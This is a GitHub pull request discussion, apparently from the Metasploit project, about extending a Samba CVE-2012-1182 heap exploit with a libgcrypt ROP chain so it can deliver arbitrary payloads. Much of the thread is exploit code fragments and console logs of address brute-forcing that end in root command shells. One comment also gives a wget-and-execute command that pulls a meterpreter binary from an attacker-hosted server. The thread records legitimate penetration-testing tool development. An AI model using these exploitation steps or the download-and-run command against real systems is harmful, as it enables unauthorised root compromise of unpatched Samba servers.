add meterpreter/command support to samba exploit using ROP #987
Conversation
| 'Platform' => 'unix', | ||
| 'Arch' => ARCH_CMD, | ||
| # 'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
| 'SessionTypes' => [ 'meterpreter' ], |
There was a problem hiding this comment.
Meaningless in an exploit module. Only used for Post.
|
Looks nice! Start to review and testing it, feedback in a while! |
|
First full test on Ubuntu 11.04 wasn't successful: rmsf exploit(setinfopolicy_heap) > rexploit [*] Reloading module... [*] Started reverse handler on 192.168.172.1:4444 [*] Trying to exploit Samba with address 0xb67f1000 (1/618)... [*] Trying to exploit Samba with address 0xb67f2000 (2/618)... [*] Trying to exploit Samba with address 0xb67f3000 (3/618)... ... ... [*] Trying to exploit Samba with address 0xb6a54000 (612/618)... [*] Trying to exploit Samba with address 0xb6a55000 (613/618)... [*] Trying to exploit Samba with address 0xb6a56000 (614/618)... [*] Trying to exploit Samba with address 0xb6a57000 (615/618)... [*] Trying to exploit Samba with address 0xb6a58000 (616/618)... [*] Trying to exploit Samba with address 0xb6a59000 (617/618)... [*] Trying to exploit Samba with address 0xb6a5a000 (618/618)... [*] Trying to exploit Samba with address 0xb6a5b000 (619/618)... After checking the address where libgcrypt was mapped: root@ubuntu:/proc/1014# grep crypt maps 0042b000-00452000 r-xp 00000000 08:01 398613 /usr/lib/i386-linux-gnu/libk5crypto.so.3.1 00452000-00453000 r--p 00026000 08:01 398613 /usr/lib/i386-linux-gnu/libk5crypto.so.3.1 00453000-00454000 rw-p 00027000 08:01 398613 /usr/lib/i386-linux-gnu/libk5crypto.so.3.1 1d50b000-1d58d000 r-xp 00000000 08:01 918461 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 1d58d000-1d58e000 r--p 00081000 08:01 918461 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 1d58e000-1d590000 rw-p 00082000 08:01 918461 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 And doing it manually, it worked :-) msf exploit(setinfopolicy_heap) > set StopBrute 0x1d50b000 StopBrute => 0x1d50b000 msf exploit(setinfopolicy_heap) > set StartBrute 0x1d500000 StartBrute => 0x1d500000 msf exploit(setinfopolicy_heap) > rexploit [*] Reloading module... [*] Started reverse handler on 192.168.172.1:4444 [*] Trying to exploit Samba with address 0x1d500000 (1/11)... [*] Trying to exploit Samba with address 0x1d501000 (2/11)... [*] Trying to exploit Samba with address 0x1d502000 (3/11)... [*] Trying to exploit Samba with address 0x1d503000 (4/11)... [*] Trying to exploit Samba with address 0x1d504000 (5/11)... [*] Trying to exploit Samba with address 0x1d505000 (6/11)... [*] Trying to exploit Samba with address 0x1d506000 (7/11)... [*] Trying to exploit Samba with address 0x1d507000 (8/11)... [*] Trying to exploit Samba with address 0x1d508000 (9/11)... [*] Trying to exploit Samba with address 0x1d509000 (10/11)... [*] Trying to exploit Samba with address 0x1d50a000 (11/11)... [*] Trying to exploit Samba with address 0x1d50b000 (12/11)... [*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.151:54257) at 2012-10-30 19:10:33 +0100 id uid=0(root) gid=0(root) groups=0(root),65534(nogroup) exi [*] 192.168.172.151 - Command shell session 1 closed. Reason: Died from EOFError t So, my comments:
|
| tmp = cmd * (816/cmd.length) | ||
| tmp << "\x00"*(816-tmp.length) | ||
| helper = 0 | ||
| if target['Arch'] == ARCH_CMD |
There was a problem hiding this comment.
I think, once the new "rop version" of the exploit is approved, it can (should) be deleted.
There was a problem hiding this comment.
left this as legacy if one want to "quickly" add a new target with only "system"
|
"First full test on Ubuntu 11.04 wasn't successful:" according to the number of tries, adn the abse address, you used target 0 which is for ubuntu 11.10 what's strange is that libgcrypt.so.11.7.0 is installed on ubuntu 11.10 and not 11.04 On 11.04, I expect 1.4.6-4ubuntu2 which wasn't upgraded before samba vuln went public(https://launchpad.net/ubuntu/natty/+source/libgcrypt11/+changelog), libgcrypt almost never changes on a distribution (or after samba was patched) so it seems really reliable for ROP chains. On the contrary, minor versions of samba can be a pain (for instance, 5 minor versions between release and this vulnerability patch, all can be covered with the same libgcrypt ROP chain, but you'd need 5 ROP chains for 5 smbd different versions. On top of that, samba doesn't annouce it's minor version on ubuntu/debian (3.5.8 announced, could be any of 3-4 minor versions) as for the ROP database entry, considering the ROP chain size and the number of it, it's easier to read it in a xml than having all of them in the exploit file imho |
|
Hi mephos, My fault, I kept testing Ubuntu 11.10 (Oneiric Ocelot) not 11.04, sorry! So really I don't think the ranges provided (at least for 11.10) are reliable for the real world. More tested should be done to provide better ranges. On the other hand, about ropdb, after speak with @wchen-r7:
And, definitely, would need an historic of libgcrypt updates before using it for rop chain. |
|
Ubuntu distro used were "server" ones with tests performed with 1 and 2 Gb RAM. Tested again and got the same addr ranges. Centos5 use SELinux by default, meterpreter will most likely not work by default (smbd TCP output is limited to ports 137-139 and 445, and heap is not executable). Use linux/x86/exec with "touch /tmp/foo" to test It might be possible to use linux/x86/exec with wget http://MY_IP:445/meterpreter -O /tmp/meterpreter && chmod +x /tmp/meterpreter && chmod +s /tmp/meterpreter && /tmp/meterpreter , host a precompiled meterpreter on an HTTP server on port 445 and have a exploit/multi/handler listening for incoming connections Will need some more testing to validate addr ranges. Juan, could you perform a test with a server edition of Ubuntu? thanks |
|
Yes, testing server editions, attaching results on a while! |
|
Attaching the results of testing on Ubuntu 11.04 and Ubuntu 11.10 Server, ranges failed in both cases.
msf exploit(setinfopolicy_heap) > rexploit [*] Reloading module... [*] Started reverse handler on 192.168.1.129:4444 [*] Trying to exploit Samba with address 0xb6973000 (1/510)... [*] Trying to exploit Samba with address 0xb6974000 (2/510)... [*] Trying to exploit Samba with address 0xb6975000 (3/510)... .... [*] Trying to exploit Samba with address 0xb6b6f000 (509/510)... [*] Trying to exploit Samba with address 0xb6b70000 (510/510)... [*] Trying to exploit Samba with address 0xb6b71000 (511/510)... From the server: package, smbd processes and libgcrypt maps: ii samba 2:3.5.8~dfsg-1ubuntu2 SMB/CIFS file, print, and login server for Unix ii samba-common 2:3.5.8~dfsg-1ubuntu2 common files used by both the Samba server and client ii samba-common-bin 2:3.5.8~dfsg-1ubuntu2 common files used by both the Samba server and client root 13969 0.0 0.4 17164 4892 ? Ss 02:26 0:00 smbd -F root 14000 0.0 0.1 16604 1392 ? S 02:26 0:00 smbd -F 004d1000-00542000 r-xp 00000000 08:01 135624 /lib/i386-linux-gnu/libgcrypt.so.11.6.0 00542000-00543000 r--p 00070000 08:01 135624 /lib/i386-linux-gnu/libgcrypt.so.11.6.0 00543000-00545000 rw-p 00071000 08:01 135624 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
msf exploit(setinfopolicy_heap) > set target 0 target => 0 msf exploit(setinfopolicy_heap) > set rhost 192.168.172.161 rhost => 192.168.172.161 msf exploit(setinfopolicy_heap) > rexploit [*] Reloading module... [*] Started reverse handler on 192.168.1.129:4444 [*] Trying to exploit Samba with address 0xb67f1000 (1/510)... [*] Trying to exploit Samba with address 0xb67f2000 (2/510)... [*] Trying to exploit Samba with address 0xb67f3000 (3/510)... [*] Trying to exploit Samba with address 0xb67f4000 (4/510)... [*] Trying to exploit Samba with address 0xb67f5000 (5/510)... . . . [*] Trying to exploit Samba with address 0xb69eb000 (507/510)... [*] Trying to exploit Samba with address 0xb69ec000 (508/510)... [*] Trying to exploit Samba with address 0xb69ed000 (509/510)... [*] Trying to exploit Samba with address 0xb69ee000 (510/510)... [*] Trying to exploit Samba with address 0xb69ef000 (511/510)... msf exploit(setinfopolicy_heap) > From the server: package and libgcrypt maps for the smbd process: ii samba 2:3.5.11~dfsg-1ubuntu2 SMB/CIFS file, print, and login server for Unix ii samba-common 2:3.5.11~dfsg-1ubuntu2 common files used by both the Samba server and client ii samba-common-bin 2:3.5.11~dfsg-1ubuntu2 common files used by both the Samba server and client 08188000-0820a000 r-xp 00000000 08:01 397898 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 0820a000-0820b000 r--p 00081000 08:01 397898 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 0820b000-0820d000 rw-p 00082000 08:01 397898 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 |
|
I just tried again with a fresh install of ubuntu 11.10 server (with "ubuntu" and NOT "ubuntu (64 bits)" in Virtualbox) with 512 MB RAM : root@ubuntu:~# service smbd stop smbd stop/waiting root@ubuntu:~# service smbd start smbd start/running, process 1897 root@ubuntu:~# cat /proc/1897/maps |grep libgcrypt b6952000-b69d4000 r-xp 00000000 08:01 279832 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 b69d4000-b69d5000 r--p 00081000 08:01 279832 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 b69d5000-b69d7000 rw-p 00082000 08:01 279832 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 root@ubuntu:~# dpkg -l|grep samba ii samba 2:3.5.11~dfsg-1ubuntu2 SMB/CIFS file, print, and login server for Unix ii samba-common 2:3.5.11~dfsg-1ubuntu2 common files used by both the Samba server and client ii samba-common-bin 2:3.5.11~dfsg-1ubuntu2 common files used by both the Samba server and client ii samba-doc 2:3.5.11~dfsg-1ubuntu2 Samba documentation root@ubuntu:~# dpkg -l|grep libgcrypt ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library I stopped the VM, set RAM to 2 GB and tested again : root@ubuntu:~# ps faux|grep smb root 1104 0.0 0.0 4156 512 pts/0 S+ 14:34 0:00 \_ grep --color=auto smb root 587 0.0 0.2 18192 4140 ? Ss 14:31 0:00 smbd -F root 611 0.0 0.0 18192 1236 ? S 14:31 0:00 \_ smbd -F root@ubuntu:~# service smbd restart smbd start/running, process 1110 root@ubuntu:~# cat /proc/1110/maps |grep libgcr b686c000-b68ee000 r-xp 00000000 08:01 279832 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 b68ee000-b68ef000 r--p 00081000 08:01 279832 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 b68ef000-b68f1000 rw-p 00082000 08:01 279832 /lib/i386-linux-gnu/libgcrypt.so.11.7.0 Libgcrypt ranges fall in ranges provided in exploit Ubuntu ISO used is the following : md5sum ubuntu-11.10-server-i386.iso 881d188cb1ca5fb18e3d9132275dceda ubuntu-11.10-server-i386.iso |
|
Same iso than me for Ubuntu 11.10. Doesn't seem like the ranges provided in the exploits are accurate, sorry :( I can try to run tests by myself, will start with Ubuntu 11.10. Along the next days I'll try to provide results. $ md5 ubuntu-11.10-server-i386.iso MD5 (ubuntu-11.10-server-i386.iso) = 881d188cb1ca5fb18e3d9132275dceda |
|
Here are the scripts I use to collect ranges : #!/bin/bash
for i in {1..10000}
do
echo $i
service smbd start
cat /proc/`ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'`/maps |grep "libgcrypt.so"|head -1|cut -d " " -f 1 >> /tmp/smbd-range.txt
service smbd stop
done
and to parse it (python commands) : a=open("/tmp/smbd-range.txt").read().split("\n")
l=[]
for i in a:
t = i.split("-")
l.append(int(t[0],16))
hex(min(l))
hex(max(l))
|
|
Hi mephos, using your script I get: $ python parser.py 0x248000 // min 0x22b6c000 // max which is more like our old ranges. I'm using vmware fusion as virtualization solution for this test. Feel free to ask me privately to juan.vazquez [at] metasploit.com if you would like that I send you the smbd-range.txt. |
|
In the worst case, since I must do the testing anyway, I could take ranges for you and update brute force addresses. Just let me know if you would like to do any test more before, or dig into this behavior deeper :) |
|
I performed my tests using VirtualBox on a 64bits Ubuntu 12.04 host |
|
I dont think atm, but we can let it open for some days in case someone could test it. |
|
Just tested on a 64bits debian sid host using Virtualbox 4.1.18 and then 4.2.4 with Ubuntu 11.10 as guest : Also tested on VMware workstation 8.0, my findings:
Juan, could you check ld-2.13.so map address in your configuration, and if possible, check addresses ranges with Virtualbox ? thx |
|
Did some more tests on a REAL machine (64bits laptop with 2GB RAM and ubuntu server 11.10 32 bits with default install) and I got EXACTLY the same results as in Virtualbox (libgcrypt range is 0xb67f1000-0xb69ef000). VMWare must install ubuntu in an esoteric configuration or do some "magic" behind the scene (in my testings with VMWare, libraries got mapped at really random addresses except for some at 0x110000 which was often ld-2.13.so or libldap or another one, so it offers really much less security because address seems to be constant) |
|
Sounds good! Conducting last test on a VirtualBox and merging if it's fine. |
|
Finally got a machine with vbox 4.1.16. Ubuntu 11.10 Desktop ranges don't match, but yes with Ubuntu Server 11.10 ! So I'll specify in the targets names. On the other hand, when there are a lot of connections against the smb server it can start to happens: [*] Trying to exploit Samba with address 0xb684d000 (93/510)... [*] Trying to exploit Samba with address 0xb684e000 (94/510)... [*] Trying to exploit Samba with address 0xb684f000 (95/510)... [*] Trying to exploit Samba with address 0xb6850000 (96/510)... [*] Trying to exploit Samba with address 0xb6851000 (97/510)... [*] Trying to exploit Samba with address 0xb6852000 (98/510)... [*] The following error was encountered: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with unimplemented command 0 with WordCount 0, retrying with same address [*] Trying to exploit Samba with address 0xb6851000 (97/510)... [*] The following error was encountered: Rex::Proto::SMB::Exceptions::ReadPacket The SMB response packet was invalid, retrying with same address [*] Trying to exploit Samba with address 0xb6852000 (98/510)... [*] The following error was encountered: Rex::Proto::SMB::Exceptions::InvalidType The server responded with unexpected packet (Command=115 WordCount=4), retrying with same address [*] Trying to exploit Samba with address 0xb6851000 (97/510)... [*] The following error was encountered: Rex::Proto::SMB::Exceptions::LoginError Login Failed: Stream # is closed., retrying with same address [*] Trying to exploit Samba with address 0xb6852000 (98/510)... [*] Trying to exploit Samba with address 0xb6853000 (99/510)... [*] The following error was encountered: Rex::Proto::SMB::Exceptions::ReadPacket The SMB response packet was invalid, retrying with same address [*] The following error was encountered: Rex::Proto::SMB::Exceptions::ReadPacket The SMB response packet was invalid, retrying with same address [*] Trying to exploit Samba with address 0xb6851000 (97/510)... [*] Trying to exploit Samba with address 0xb6852000 (98/510)... [*] The following error was encountered: Rex::Proto::SMB::Exceptions::InvalidCommand The server responded with unimplemented command 0 with WordCount 83, retrying with same address [*] Trying to exploit Samba with address 0xb6852000 (98/510)... [*] The following error was encountered: Rex::Proto::SMB::Exceptions::ReadPacket The SMB response packet was invalid, retrying with same address [*] Trying to exploit Samba with address 0xb6853000 (99/510)... [*] The following error was encountered: Rex::Proto::SMB::Exceptions::InvalidCommand The server responded with unimplemented command 0 with WordCount 0, retrying with same address [*] Trying to exploit Samba with address 0xb6851000 (97/510)... [*] The following error was encountered: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with unimplemented command 0 with WordCount 0, retrying with same address In this state, even if you try to cancel the exploitation threads keep running... which is a little annoying for the msfconsole user. And my main worry is how it's going to be handled in other versions of metasploit (metasploit pro for example). Because of this, I'm going to return to the original Brute mixin and merge! Once I'm confirmed it wouldn't be a problem on other versions of metasploit I can merge the multithreading code! BTW, test output with the brute mixin: msf > use exploit/linux/samba/setinfopolicy_heap msf exploit(setinfopolicy_heap) > show options Module options (exploit/linux/samba/setinfopolicy_heap): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port StartBrute no Start Address For Brute Forcing StopBrute no Stop Address For Brute Forcing Exploit target: Id Name -- ---- 0 2:3.5.11~dfsg-1ubuntu2 on Ubuntu 11.10 msf exploit(setinfopolicy_heap) > set RHOST 192.168.1.132 RHOST => 192.168.1.132 msf exploit(setinfopolicy_heap) > set StartBrute 0xb69aa000 StartBrute => 0xb69aa000 msf exploit(setinfopolicy_heap) > set StopBrute 0xb69af000 StopBrute => 0xb69af000 msf exploit(setinfopolicy_heap) > rexploit [*] Reloading module... [*] Started reverse handler on 192.168.1.129:4444 [*] Trying to exploit Samba with address 0xb69aa000... [*] Trying to exploit Samba with address 0xb69ab000... [*] Trying to exploit Samba with address 0xb69ac000... [*] Command shell session 1 opened (192.168.1.129:4444 -> 192.168.1.132:52648) at 2012-11-19 14:06:07 +0100 id uid=0(root) gid=0(root) groups=0(root),65534(nogroup) ^C Abort session 1? [y/N] y [*] 192.168.1.132 - Command shell session 1 closed. Reason: User exit msf exploit(setinfopolicy_heap) > |
|
Merged after final cleanup and using the Brute mixin again because of the exposed in the comments above! thanks mephos for an awesome contribution and for keep working hard on this pull request! |
add support for arbitrary payload in samba CVE-2012-1182 exploit
ROP is performed against libgcrypt.so which is rarely modified/updated
Libgcrypt has been patched/modified after samba CVE was released, so if libgcrypt was updated on the system, samba was very probably updated too and is no longer vulnerable
This way, ROP chain can be generic across minor versions of samba( 3.5.8~dfsg-1ubuntu2 , ubuntu2.1, ubuntu2.2 ...)
I left ROP chains for smbd binaries if someone's interested in it
ROP chain does mmap(PROT_WRITE|PROT_EXEC), memcpy and jmp on shellcode
Tested on ubuntu 10.10, 11.04, 11.10 and debian squeeze using meterpreter/reverse_tcp